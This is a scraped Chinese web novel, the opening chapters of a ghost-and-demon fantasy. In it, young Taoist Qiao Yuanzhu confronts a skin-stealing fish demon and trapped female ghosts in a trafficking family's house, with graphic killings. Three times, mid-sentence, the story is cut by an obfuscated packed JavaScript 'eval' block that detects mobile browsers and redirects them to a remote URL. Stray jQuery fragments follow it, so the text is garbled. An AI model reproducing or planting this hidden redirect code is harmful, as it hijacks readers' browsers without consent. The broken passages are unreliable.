《野生小道姑乱我道心·逐影斋》
1. 夺舍(修)
——还好,角门的锁开着。
乔苑珠这么雀跃想着,她心下打鼓,脚下却没停。只要穿过前面的巷子,躲过巡逻的官兵,就能穿过那道角门潜回公主府去,回到娘亲身边……
她想起,今晨娘亲同往日一样给她送了羹汤,不同的是,羹汤并没有用她惯用的羹碗盛,反而装进了玲珑食盒里。而后,娘亲便将她从这个角门送了出去,塞进了一个菜农的挑担里。
菜农恐将她憋死了,出了城便将她翻出来,又给她换上了灰布衫子,又抹了一把灰到她脸上,生疼。
她望了一眼身后草木皆兵的城,虽不知道具体是为何,可她清楚,桑桑国的天塌了,长公主府头顶上的天也塌了。
——她需得回去。
她留下这么一句话给菜农,菜农拗不过,思量再三,恐也是惶恐,若是长公主府残存一丝气韵,日后寻回此孤女,他又要担几多责?故而寻了机会又将她送了回去,约定好等她一个时辰。
回城天已黑尽。
乔苑珠自持身量小,有些机敏,还有些胆大包天,思量着,府外虽有官兵巡逻,可若是能抢在官兵觉察之前躲到草垛里去,便不会有人发现她。
第一波官兵过去了。
乔苑珠掩着面,一身灰扑扑的布衫同阴沉的天地一色,泥鳅一样顺利躲进了第一处草垛。
草屑裹挟着尘土的味道窜进她的鼻腔和喉咙,她想咳嗽,可是逐渐逼近的脚步声让她掐着自己的掌心生咽了下去。
“将军下令,留一个小队继续巡逻,剩下的人随我去寻人。”
“这围得水泄不通的,连只苍蝇、蚂蚁都逃不出去,这是要去寻谁?”
“长公主身边的嬷嬷,还有她的独女,今日清晨,那老嬷嬷带着郡主钻狗洞逃出府去了。”
“此前公主府咱们都摸遍了,只一个小洞,六岁小童能出去,一个老嬷嬷凭她有锁骨之能也不可能。”
“废什么话?将军亲自下的令,还要另惩处今晨守卫的带班。”
“是!”
一队沉重的脚步声远了,似乎是留下一小波人,索性靠在墙边说话。
“凡起战事,鸡犬不得安宁,想想我家中也有一六岁稚儿……若我是她爷娘,好容易将她送出去,又要被捉回来,心都要碎了。”
乔苑珠抓紧了胸口。
听得另一人附和:“你换个角度想,桑桑皇室奢靡无度,苛捐杂税,王公贵族横行霸道,本就民不聊生,反叛军这才派了使者朝咱们大齐索求兵援,怎么着咱们也算是替天行道。”
“诶我听闻还有余孽企图通过长公主府一脉重建桑桑旧皇室,尊长公主做新帝,以博最后一丝生机!”
“哪儿来的什么余孽?除长公主府一脉,桑桑国皇室贵族一干人等三千余人,上至帝王后妃,下至朝臣权贵,无一幸免,皆被俘获,两日前斩杀于菜市,百姓称快,我亲眼所见!”
“长公主府一脉被保了,自然也有部分旧臣。”
“为何要保,如你所说,反叛军是为百姓安乐,那么斩尽杀绝岂不永绝后患,哪里还有今日之事?”
另一人咳了两声,悄声说了些什么,乔苑珠没听清,后来几人要继续巡逻,便走了。乔苑珠露出半只眼来瞧,确认外头巡逻不在,快速从草垛中间出来,贴着墙角泥鳅一样溜进了角门。
月如尖钩。
月光将她影子拉长,细细长长地指向戏楼的方向,前头是满院的死人,横七竖八。
戏楼旁那棵参天的梧桐树下,爹爹为她绑的秋千断了,已经是快要入冬的时节,枝桠上最后一片枯叶终于忍不住要落下,毕剥的声音在黑夜中响起,像一首哀歌,像索命的魂曲。
她抬眼一望,大火似是从宝朴斋烧起的,一路沿着水榭蔓延至垂花园,燎塌了戏楼,顶层的戏台子完好无缺地盖地而下,倒将底下的废墟掩藏。
歪歪斜斜的戏台子上,竟有个执剑的女人。
乔苑珠往前挪了两步,忽听得那女人对天悲戚大喊:
“桑桑气数已尽,回天乏术!百姓何辜?若是能用我公主府阖府性命换桑桑百姓长存,吾往矣。”
——娘亲!
她跑了起来。巨大的嘶鸣声在她耳畔响起,一声娘亲噎在她喉中来不及喊出,女人的剑就咣当一声落了地。鲜血喷溅,巨大的豁口赤条条的爬在女人的脖颈上。没了声息的女人此时就像一个破败的布偶,哪里还有公主的模样。
旁侧的梧桐树上,枯枝间火星四溅,废墟成了温床,只顷刻之间,熊熊大火乍然而起,将戏楼残骸连同女人的尸体一起包裹。
乔苑珠撕开火墙,身边都是浓烟,如同巨兽一般压在她身上,折磨她,撕扯她,她的肺都快要炸开了。火蛇撩断了她的发,烧焦了她的皮。此刻她觉得自己就像一朵焦黑卷曲的蘑菇,被拦腰折断,生命已经走到了尽头。
“娘亲……”
她匍匐下来,伸手摸了摸已经死透了的女人,地板滚烫,眼中流下来的泪被火瞬间烧化,生将她的眼角烫红。
“……爹爹在哪里?”
没有人回答她。
“爹爹,我恨死你了……”
浓烟趁机入侵了她的肺腑,呛的她说不出话。房梁烧成焦炭,终于扛不住重量轰的一声垮塌下来,精准的砸到了她的头上。眼前一下黑了,湿热的感觉在额头上蔓延。血顺着脸颊淌到嘴角边,有些痒,她的手动不了,便想要探出舌头努力去够,发现嘴也已经张不开了。
——我还不想死……
她心中这么想着,又嘲笑自己,这世上有谁想死呢?母亲想死吗?为什么呢?
——神啊,救救我,救救我吧……
就在这时,乔苑珠看见娘亲身侧不远处,一个敞开的盒子里,滚落出来一颗白珠。那白珠因为烟熏火燎淡了颜色,却忽而腾起一缕白烟来,晃晃悠悠飘落到她的跟前,幻化作了一个跟她差不多大的女童。
那女童歪着头盯着她看,喃喃不知道说了些什么,随后女童轻轻勾了勾手指,凭空一个金光罩子罩下来,一瞬间,烟和热都隔绝了。
罩子清冽,带着海水的味道。乔苑珠觉得她此刻就像躺在棉花里,柔软舒适,又像踩在云端,脚下是空的,稍不注意恐怕就要跌落万丈深渊。
女童兀自开了口:“你,想,活?”像是第一次学会说话,嗓音朗朗,纯洁得像海水里刚捞出的鲛珠。
乔苑珠浑身上下没有一处动得了,只能在心里答着——是的,我想活。
对方好像能听到她的心声,道:“可你,活不了,了。”女童多说了几个字。
——可我不甘心,我想知道这场火因何而起,母亲为何要自刎,还想知道父亲去了哪里,为何不来救我们……我还想吃昨日李嬷嬷做的甜糕,我还没活够……
“你的愿望太多了,真贪心,贪心的人都是坏人。”女童已经能完整地说完一小段话。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071456|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
——人不能贪心吗?
“不能!你的娘亲难道没有教过你,不该是你的东西不要拿?”女童有些生气。
——教过的,可我觉得人活一世,首先得对自己好一些。
女童没接话,她又接着在心中问——你是桌上那颗白珠子吗?
“什么白珠子!你真没礼貌,你跟那些渔民一样没礼貌。”女童跺着脚。
——那你是妖怪吗?
女童彻底生气了,站起身来打量她:“你真是个没礼貌的小家伙,你要死了,你的躯壳却很鲜活,我要夺了你的肉身,叫你知道什么叫做妖怪!”
说罢女童抬手摆弄起一些乔苑珠没见过的手势来:“看好了,你要被我夺舍了!”
女童原地打了个转儿,化作一缕白烟朝乔苑珠的胸口窜去,乔苑珠只觉得胸口忽地一闷,昏了过去。
等到她再醒过来,女童不见了踪影,她也不在公主府中。她对着空气大喊了好几遍。
“小妖怪,你不是要夺我的舍吗?”
没有妖怪回应。
-
大齐,晏京城,祈云坊。
仲夏,天已然黑尽了。
天空轰隆一声闷雷,迟迟不肯下雨,空气湿热难耐,本就荒凉的祈云坊街头此时连个鬼影也没有。
“阿青,点灯吧。”
少女坐在妆奁前梳头发,梳子穿透乌发梳了两通,随意束了松散的辫子垂在身前。她取了粉子将眉间印记盖了盖,又从匣中摸出一根簪插在髻上。
乔苑珠伸手摸了摸簪头,上头是一颗白珠,比普通珍珠大一点儿,样式普通,也没什么光泽。
十一年前得那场大火,成了她的心疾,夜夜入梦,夜夜重演,直到小妖怪消失了,她口干舌燥才能醒,否则,昏睡一整日也不是没有过。
“娘子,我这就去。”
青衣女子手提灯笼朝院门去。
正值盛夏,院中那棵百年老玉兰树,茂盛苍翠,遮天蔽日。阿青经过树底下,树叶还飒飒作响,好像那树冠里藏着什么东西。
她打开铺子的大门,刚点上门前的灯,就看见街对面有个老妪蹲坐在地上,旁边放了两个箩筐,里头装满了新鲜的甜瓜。
老妪见到她开了门,盯着铺子看了好一会儿,喉里头裹着痰,浑浊地念叨了句“晦气”。
阿青没理她,自顾自地收拾铺子,将纸灯笼高高挂起,又将一男一女两个纸童子拿出来,摆在了正对着老妪的方向。
老妪见状侧了侧身,往旁边地上重啐了一口。
那老妪左等右等不来客人,又重新打量起阿青来。模样清秀,身段结实有力,屁股也大,亏了是个没前途的小丫头,遥望了眼院中那位,心下惊叹世间竟有仙人。
可仙人指望不上,讨个仙人家的小丫头回去给儿子做媳妇值当!老妪忖着,捡了筐中个头大又鲜嫩的甜瓜,扯了笑就朝阿青走过去。
阿青早就瞧见了老妪的动势,打量她也就罢了,竟还敢去打量她家娘子!当即丢了手中的活计,转身去将院门掩上,回头又狠狠瞪了那老妪一眼。
老妪路走到一半吃个瘪,不好再往前。
这时候从巷口走出来一华衣妇人,约莫三十岁,香肩半露,胸脯丰润,头上珠钗乱打颤,颊上还有一抹浅红,好似刚喝了一壶酒,走起路来摇摇晃晃,实在是有韵味。
阿青将铺子收拾毕,正要往院中去,就见老妪朝妇人那边笑迎上去。
2. 恶鬼美人(修)
“这位夫人,尝尝老身家的甜瓜,刚摘的,可新鲜。”谄媚之极。
“滚开。”妇人拍开老妪的手,万分的嫌弃。
“夫人不知,我这瓜美容养颜,吃一颗年轻十岁,吃两颗年轻二十岁,三颗四颗长生不老……”
妇人睨了老妪一眼,满脸沟壑,活像个老树皮,扯她的手指甲里全是黑泥,烦到极点一把推开了那老妪,骂道:“老东西,我说了不要!”
老妪看着身子强健灵巧,谁曾想脚下却是软的,一碰一歪,直挺挺仰面倒下去,后脑勺磕了个震天响,当场就见了血,老妪伸手摸出一把血来,当即就抱着妇人不撒手了。
“杀人啦!杀人啦!天子脚下,莫非没有王法!你若是不想买我的瓜!走便是了,推打老身作甚!来人啊!杀人啦!”
“阿青,外头怎么了?”乔苑珠正往院中走。
院中那棵玉兰树,终年花开不败,郁郁葱葱有遮天蔽日之势。乔苑珠快步经过树底下时,凭白的,围着她升起来一阵薄雾。
薄雾赤红,将院落隐去,留下赤冽冽一片,弥散着腐肉的气味。
接着满树的玉兰花瓣开始往下落,一瓣,两瓣,越落越多,越落越快,堆叠在她脚下,乍看就像踩在一滩血水里。
听得几声蛇游过枯木的声音之后,旁边玉兰树树干上的纹路开始扭曲折叠,逐渐现出一张人脸来。
那人脸有鼻子有眼,似笑非笑,一张大口洞开,活能吞下一个人。她往前一步,人脸就往左侧一寸,她往后退一步,人脸就往右挪一寸,眼珠子骨碌碌直转,在她身上瞧不够。
因着刚睡醒,乔苑珠眼下还有些发愣,脑中一直回响着梦中娘亲说的那句话,什么“气数”云云。
气数、气数,这气数究竟从何而来、去往何处、又是交由谁来定?桑桑的气数该由大齐来定吗?公主府的气数该由那位大将军来定吗?
居大齐两载,坊间竟是从未听人说起过这样一位神勇无敌、深得民心,采了桑桑尽数气运的大将军存在……
她心中郁结,正烦闷着呢,好笑今日一只不入流的小妖也要来讨她的晦气。怨只怨她名声太小,没叫那些个山野小妖记了去,还敢找上门来撒野。
乔苑珠蹙起眉来,耐心告罄,步子没停,挽手作了个诀,霎时间眉间现出来个十字印,洋洋洒洒漏出金尘。
金尘触到树干的刹那,那人脸猛地闭上了洞开的口,也不笑了,活像碰见了什么魂飞魄散的事物,连忙隐去身形逃遁了。
妖怪跑了,雾也散了,乔苑珠刚好走到院门口。
——好没意思。
乔苑珠瘪了瘪嘴,这晏京城当真比不得乡野,道观多,修士众,妖怪甚少,只可怜她瓶中的幽幽丹又要见底……得尽快捉个小妖怪才行,想到这儿,她没再管那玉兰花树妖,抬脚迈出院子。
“娘子,我正要进去找你呢。”阿青道。
乔苑珠望向那纠缠不休的一老一少,问道:“外头怎么了?”
“喏,来了个碰瓷儿的,那位夫人恐怕要倒大霉了,非得买了她的香瓜再赔钱不可。”阿青嫌弃地道。
乔苑珠打眼瞧了一瞧那老妪,又上下打量了那妇人,顿了顿,忽而展开一抹笑来,道:“去拿些银子,咱们也买香瓜。”
“娘子!那老妪一看就不是好人,咱们为何要帮她?”阿青惯是个直肠子,若是不喜欢谁,嫌恶是挂在脸上的。
乔苑珠微嗔,道:“你去拿便是。”
老妪还瘫在地上,死死抱着妇人的腿不放,又哭又闹,活像腌了十年的老咸鱼。
乔苑珠走到老妪跟前蹲下,颇为和颜悦色,道:“婆婆,我和这位姐姐一起搀你回家去可好?你这两筐香瓜我买下了,改天我让小丫头把筐子给你送回去,我今日先去认认路。”
老妪听了眼睛滴溜溜直转,先前还想攀上对面小丫头的关系呢,没想到等来了仙女本尊,喜不自胜,道:“好娃娃,就依你说的办。”
乔苑珠露出一抹温婉的笑,又朝那妇人道:“夫人意下如何?”
妇人还没开口,老妪凶巴巴的抢了话:“她怎么不去?必须去!把老婆子我摔成这样,我家老头子得跟她要个说法!哎哟……哎哟……你看!全是血!杀人啦!”说着摊开一手的血,就要抹到妇人裙摆上去。
老妪心下想的是,今日香瓜全都卖了出去,已是大赚一笔,若是还能拐得小娘子回去,那便是喜上加喜。至于这位夫人,她定要叫她吐出一笔银钱来!一举两得,兀自喜上眉梢。
乔苑珠眼见着老妪脸上变幻莫测的神情,淡淡的笑了笑,招呼拿了银子出来的阿青关了铺子,一同上路。
老妪的家在城外,天黑路难走,乔苑珠和阿青一左一右搀扶着老妪,妇人慢悠悠跟在后头,似在醒酒。
经过一处的坟地时轰然又是一声雷,闪电照彻夜空,坟头有几朵鬼火扑腾,不一会儿淅淅沥沥下起了雨,周遭雾气升腾,一股阴冷湿气驱赶了早些时候的闷热。
“老头子,出来迎客!”
老妪到了家门前,中气十足地推开了院门,红光满面地招呼人迎客,一点也看不出来先前被磕出了血的孱弱模样。
有人远远应道:“你有什么客,别是上门来讹钱的,你的香瓜卖完了吗?没卖完看我怎么拿捏你。”
老妪啐了一口:“就你那几个钱,给人讹别人也要瞧得上。”
老妪引着乔苑珠三人进院,这时从堂屋中走出一个儿郎。二十出头,眼歪嘴斜,口齿不清地道:“阿……阿娘又给童童找婆娘,嘿嘿……嘿嘿……”
又找?阿青听了有些慌:“娘子,他这话什么意思。”
那头乔苑珠好像完全没放在心上,进了院儿便开始四处观察。
这处院子看着老旧,到处都是破漏,杂物摆得到处都是,若没有人引着,恐怕不知道要将脚落在哪里。堂屋侧旁海有个屋子,大白天,门窗紧闭。
正在这时,老妪口中的老头子走了出来,上下好一番打量她们,一时间嘴角扬上去就下不来,步子不停,绕过他们往院外走去,经过老妪的时候俩人分明还交换了眼神。
从进院起,阿青本就有些提防,眼尖地又看到二人交换眼神,忙拽了乔苑珠的袖子要走,乔苑珠按了按她的手,朝那呆傻的痴人走过去。
“你阿娘回回都从外头给你找婆娘?”
“对,对啊。”痴傻儿有些得意,他虽说眼斜,却也看出了眼前的娘子生得美,侧着脸也要看个够。
乔苑珠睨他一眼,道:“我猜你只有一个婆娘,我看城里的公子都有好几个婆娘,你比不上他们。”
“你胡,胡说!”童童绞着手,道:“阿娘给我,给我找……找了十个婆娘!哦不对!是十八个!”
乔苑珠翻了个白眼,起身要走,道:“骗人,你屋里根本就没有你婆娘的影子,哪里又来的十八个?吹牛大王!”
“我,我没骗人!”童童提高了音量,慌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071457|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张道:“是我爹,我……我爹把婆娘送出去卖了。”
“卖了?”乔苑珠追问。
童童点点头,道:“对啊,卖,卖去了山沟里。”他将手指向一处山坡,那山坡并不高,就是个小土坡,不像有人烟的样子。
童童话还没说完,这时候老妪从后院出来了,手中端着茶水,见到乔苑珠在跟她儿子说话,脸色微变了变,连忙将童童支开,又招呼乔苑珠进屋坐。几人一齐进了屋,刚坐定,就听见旁屋传出来一连串的肺咳声。
阿青循声望过去,问道:“这是?”
老妪面色有些尴尬,哭丧了一副脸道:“是我的大儿子,早些年得了病,坏了身子,如今下不得床。”
乔苑珠往向旁屋的方向,略作思索。
“快喝茶,快喝茶,都凉了。”老妪十分热情,给三人分倒了茶。
老妪催得紧,无论她们岔开几次,她都能引到喝茶上来,乔苑珠端起茶碗晃了晃,略有所思,给阿青使了个眼色,俩人一起趁着众人不注意将水倒到桌子底下,只有妇人为了快点醒酒一股脑喝了下去。
没过一会儿,三人齐刷刷倒在了桌上。
“叫个人叫这么久。”老妪恼道。
“这不是刚好赶上,来得早不如来得巧。”老妪的丈夫搓了搓手。
“三哥,这回可要分我一个,我就要这个白衣服的。”一个同样年过半百头发花白的驼背老头子指着乔苑珠道。
“你想得倒美,也不瞧瞧自己多大年纪还没个媳妇,还想要个最美的,滚一边儿去!这是我家童童的。”老妪没好气,瞪了那人一眼,又瞪了自家老头好几眼,转头朝着妇人努了努嘴,道:“喏,那个给你。”
老头一瞧,是个三四十的妇人,看起来很有钱,身材也有料,要是娶了回去,床笫之事自不用说,说不定还能发个财,心道也好,笑嘻嘻地搓着手走过去要搬人。
谁料刚走到妇人跟前,老头的手还没有摸上去,靠在桌边的妇人倒先起了身。只见她拧了拧脖子,又转了转胳膊,将骨头磨得咯咯作响。
妇人身子还直愣愣地冲着桌子没转,头却调了个个儿,转过来时与那老头目光相接,露出一排剑利的牙齿,嗓音婉转,道:“你胆子最大,我给你留个全尸。”
老头调头就要跑,那头妇人反应更快,从脊柱处凭空生长出一只鲜红利爪,快速向前伸长,犹如一道血红的长鞭。
利爪所及,穿透了老头的胸膛,直钉在门板上,还不够解恨,又将老头的心肺一把扯出,在爪中揉了个稀碎,肉渣血浆落了一地,此时的老头像一只被踩扁的老鼠,“叽”一声咽了气。
老妪和她的丈夫哪见过这等场面,纷纷吓破了胆,连滚带爬地逃到门边。妇人脚不沾地,如影随形,老妪跑几步,她便跟在后头的一步之遥处,像是在戏耍圈养的宠物。
跑过几圈,老妪已是上气不接下气,涕泗横流地求饶,妇人皱了皱眉头,很是厌烦手中的玩物没了逃跑求生的念头,只剩下无趣。
她耐心告罄,没再戏耍老妪夫妻俩,直截了当地甩出长舌,将老妪拖行到她膝下,又捉了她的丈夫。
她将利爪盖过老头的头顶,尖利的指甲盖一寸一寸地嵌入老头的天灵盖,在老头的呼叫声中,利爪从眼眶穿出,另一边老妪跪在她的膝下,已是瘫作成烂泥,口中连连求饶。
“不是你要我来的吗?”
妇人柔声问,那嗓音如蜜糖,叫男人听了恐怕都下不了床。
3. 舍命求生(修)
“夫人饶命,夫人饶命,我有眼不识泰山……”
老妪的嗓中咯着痰,声音实在难听,妇人愈发不悦。她手掌一旋,老头的头盖骨咔哒一声掉下来,又把舌头往内一收,将老妪的整个身体高高抛起,旋转甩出,舌头上全是尖刺,如此一摔,老妪的身子和头颅分开落了地。
痴傻儿有痴傻福气,此时院中血肉模糊在他看来都是一场游戏,可他并不感兴趣,只是自顾自地蹲在院中玩泥巴,他老娘的尸体和头颅就在脚边,老爹的头盖骨落在了他的泥堆中。
妇人转身正要进屋,不料身后突然飞来一记石子儿,正中了她的脑袋。心中按捺下去的怒火此刻烧得更旺,她只觉得奇耻大辱,飞身过去,咔嚓扭掉了痴傻儿的头,甩了甩利爪,头也不回地往堂屋去。
乔苑珠和阿青在那妇人刺穿老头的胸口之时,就没入了旁屋,进屋之后把屋门带上,又命阿青贴了好些符纸。
“娘子,这符纸咱们自己画的,能有用吗?”
阿青很是无语,她家娘子寻常看着是个博闻强识知书达理做事样样通的模样,实际上有时候是极为不靠谱的。要说什么时候不靠谱,就要说到研究这老些个伏魔降妖的物件儿上。
乔苑珠平日除了读读书写写字,就爱研究捉鬼降妖的东西。什么桃木剑铜钱纸人,家里一大堆,每次遇上妖邪却没有一样管用的。
上次因为用自制的桃木剑扎了一只鸟妖,还被追了半个山头,那鸟妖口里一直喊着她们不太尊重它,最后还是靠金蟒大哥降服的。
这不是最难受的,难受的是她最近又寻到了一本教人自制符纸的书,痴了一般研究许久,连画三天三夜,要阿青摆到铺子上去卖。今日出门前,又嘱咐阿青一定要带上好些在身上以备不时之需。
“怎么没有用?你用都还没用,就说这话来气我?”乔苑珠没好气地道,名阿青好好贴,按照阵法贴,自己则转身往屋内看去。
从她们进来起,床上躺着的青年便是昏睡不醒的模样,眉头紧皱,双手死死的抓住被褥。
“娘子,他就是那老妪的大儿子吧?”
阿青贴完符纸之后跟着进来,道:“长得还真是眉清目秀,模样与外头的一家人……也太不同了吧!”
“他好像很痛苦……”
话没说完男子又在睡梦中连咳了好几声,阿青连忙拉着乔苑珠后退,捂着口鼻道:“这肺病不会传染吧!?娘子你离远些!”
乔苑珠撇开她的手,朝前走了两步,道:“他这不是肺病,是被恶鬼缠了身。”
阿青扭头看向乔苑珠的眉心,果然有微弱的金尘泛出,飘飘扬扬落在睫上。
此时要是一个有乾坤眼的人来看,就能看见,男人不是一个人躺在床上,旁边还有一名紫衣女子,女子的舌头抻长,扎入男子的肺部,有精元之气源源不断从男子身体流出,顺着舌头流到女子的口中。
“还不住手?”乔苑珠突然开口。
也许是没料到自己死了多年了,还能有人跟她说话,又或许是多年没人跟她说话,自己也忘了怎么开口,女鬼收了舌头坐起身来,歪着头道:“你看得见我?”
“我不仅看得见你,还能收了你。”
“你若是好好配合我,我还能给你指一条明路。”乔苑珠道。
女鬼看起来也就十三四岁,一看就没干过坏事,干过最坏的事怕就是靠着生存的本能吸食这男子的精元了,经她这句话一吓,什么都愿意说。
“高人只管问,我一定好好配合。”女鬼端端正正地坐好道。
“你从哪儿来?又是因何变成这番模样?”乔苑珠找了桌边坐下,一副审问犯人的模样。
“小女子从锕州来,外头的老妪是我爹娘的朋友,骗我爹娘说要带我上晏京城来当大户人家小姐的贴身丫鬟的,我爹为此还专门筹了银子给她,没成想,没成想这老妪是个骗子!她根本没有大户人家的关系,骗我来是给她家傻儿子当媳妇儿的,呜呜呜……”女鬼像是终于找到人诉说心事,一股脑说了前世今生。
“那为何会成了现在这副模样?”乔苑珠又问。
“因是那痴傻的是个暴虐脾气,抓着我就是一顿好打,我,我是被活活打死的!”
“你即是被那痴傻的打死,冤有头债有主,何以找到他泄愤?”
女鬼知道她说的是床上躺着的男子,道:“高人明鉴,小女子便是成了恶鬼也绝不想害了无辜的人,那老妪在我死了之后,不知在这屋子里做了什么手脚,我和另外两个姐姐都出不去这间屋子,为了活命才……”
女鬼说着望向屋子一处不起眼的角落,乔苑珠顺着眼风看过去,果然还有两个女子缩在角落瑟瑟发抖。
这边话还没说完呢,突然间背后门风大作,门板剧烈的抖动,那妇人破门而入。
“我就说娘子这符纸没用吧!”
阿青哭嚎了一嗓子,被那破裂的门风吹翻在地,吃了一嘴的灰。
门外妇人手尖滴血,脚不沾地,瞬息间飘到乔苑珠面前,伸一只鲜红的爪来勾起她的下巴,实在是馋她的皮囊,忍不住在她脸上画出一道血线,末了道:“好漂亮的皮囊,给我可好?”
乔苑珠侧过头,藏在袖中的指尖翻动,道:“我还有更漂亮的,给你瞧瞧?”
妇人笑了笑,好奇道:“哦?你还有这本事?”
她绕过乔苑珠转了一圈,将屋内打量了个干净,突然从背后凑到乔苑珠的耳边,鼻息湿冷,道:“我先看你耍把戏,再去取了那郎君的心肝,毕竟这世上没有比漂亮郎君的心肝更美味的东西了,如此我今日才不算白筹谋了。”一连串的笑声响起。
乔苑珠抿唇不语,指间翻过几个来回,刹那间眉心金光闪动,洋洋洒洒的金色光尘犹如春日漫天的柳絮,充盈了整个房间,一条黄金蟒蛇瞬间聚形,从她眉心窜出,直奔妇人的命门。
妇人是前脚踏进了门,后脚惊惧万分地夺门奔逃,只听得乔苑珠在背后喊:“赤金大蟒,漂亮么?”
妇人哪里还有心思同她纠缠,只拼了命想要逃出院子。她尝试着甩出利爪,不料巨蟒身坚如铁,利爪刚碰上去便被弹回来,指甲尽数被崩裂,鲜血直淌。
她有些不甘心,她花了百年时间修成人形,因脸上有一道天生的红斑,被同类排斥,被生人厌弃,她讨厌那些令人恶心的言语和脸色。
她开始疯了一般的找皮囊,谁好看,谁有名,她便找谁。扒了他们的皮,再过上他们的日子,好生惬意。哪曾想,今日只想吃了这该死的老妪的心肝,却碰到了硬茬,当真是时运不济,天要亡她。
眼看着巨蟒死追住不放,妇人却不跑了,转过身来,使出浑身解数放出妖力要给巨蟒致命一击。这是舍命求生的招数,一旦放出,方圆百里的妖兽都会争相而来,意图绞杀她,除非她能将巨蟒一击毙命,再将它的全身妖力尽数吞入腹中。
可是她的力量与那巨蟒相比,就像沧海一粟,不堪一击。
瞬息间巨蟒飞腾缠上了她的身,那浑身的鳞片如同尖刺一寸一寸扎进她的皮肉里,巨蟒朝天一声咆哮,血口大张,尖利的牙齿就如同钓鱼的尖钩,穿透了妇人的脖颈。
那妇人瞬间没了声息,噗的一声,华衣飘落,身型逐渐瘪了下去,化作一条红白相间的小鱼。
待到尘埃落定,巨蟒归位,乔苑珠跟出门来,命阿青将小鱼儿找东西装起来,转身进了男子所在的屋内。
-
三里之外。
两名黑袍兜帽的男子出现在老妪家对面的山头,一个蹲在巨石上,一个站在一旁,一个咬着狗尾巴草,一个抱着一柄剑。风将袍子吹荡起来,兜帽底下,是两个少年郎的模样。
“世子,这是舍命求生之法,方圆百里的妖兽恐怕都要过来了。”抱着剑的男子道。
巨石上的男子口中的狗尾巴草吐出来,扬了扬手,道:“有人收拾残局,我们静观其变便是。”
“是,只是近来接连几桩邪祟作乱,这小娘子回回都在,且都先我们一步,晏京新晋道修我早打听过,从未听过这号人物。虽说她行的也是驱邪捉妖之事,但我心中总觉得不安,晏京城已五载平安无祸,近来实在太频繁了。”抱着剑的男子道。
被叫做世子的少年从巨石上跳下来,意欲往山下去,一边走一边道:“你去把那些个不入流的妖兽收拾干净,我去会会她。”
-
此时的乔苑珠正把三个女鬼叫起来排排坐好,一点没察觉到又有新的麻烦找上门。
三个女鬼倒是都十分配合,只不过身上抖如筛糠,只因刚才她们都亲眼瞧见了眼前花儿一样的小娘子的手段。
“你接着说,你是说那老妪给这间屋子动了手脚,你们出不去?”乔苑珠对着先前的紫衣女鬼道。
“是,从我死后第一次睁眼,就在这间屋子里了。”紫衣女鬼道。
“我也是。”另外两名女鬼依次附和。
“这间屋子古怪得很,各个角落我都试过了,都出不去,跟人撞着墙似的。原本咱们做鬼怪的,若是怨不得解,便会被困在死掉的地方,但多少也能在方圆几里活动,哪会被拘在盒子里。”黄衣女鬼又开了口。
乔苑珠直起身,仔仔细细的打量起屋子来,也没瞧出什么不妥,换了个问题:“听那老妇人说她家这大儿子得了好几年的病了,又被你们吸□□元,为何到现在还有一口气吊着?”
听完这话三个女鬼面面相觑,依然是黄衣女鬼开了口:“那老婆子与你说这是她大儿子?”
“难道不是?”乔苑珠讶道。
“那老妇人当真是个毒妇!”紫衣女鬼义愤填膺,旁边的粉衣女鬼此时嘤嘤嘤地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071458|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哭了起来。
“那老妪只配有个痴傻的儿子,躺着的是她的侄子!”紫衣女鬼说着朝粉衣女鬼方向努了努嘴,道:“喏,她就是他的娘子,也是被那老妪给害死的!”
乔苑珠犹遭晴天霹雳。
粉衣女鬼啜啜泣泣开了口:“奴家和郎君本来是这间宅子的主人,几年前秦老婆子带着她的丈夫和痴傻的儿子来投奔我家郎君,我郎君心善,家中又恰有几间空置的屋子,便答应他们暂时住下了。但我家郎君也跟他们说明了,要他们尽早找到活计搬出去,可是……可是他们哪有搬出去的意思,三人天天在家好吃懒做,我家郎君分文不取,饶是如此,他们还是起了歹念,要杀了我和我郎君,霸占我们的家产!”
粉衣女鬼锤着胸口,继续道:“他们先是借口带我出去郊游,下毒害死了我,转头骗我郎君说我跟人跑了,我郎君哪里会相信,找他们拼命,他们仗着人多,将我家郎君用榔头敲死,奈何我夫君命大,没有被他们敲死,他们便没有再继续下手,而是将我郎君关在这屋子里。他们要霸占家产,我郎君没死反倒给了他们由头,周遭的人还要夸他们一句心善!可怜我郎君一番善心,遭人如此陷害,落得这个下场!”
“既是如此,莫非这些年来是你们三个轮着给他续的命?”乔苑珠这才注意到,她们三个的身形皆已经薄如蝉翼。
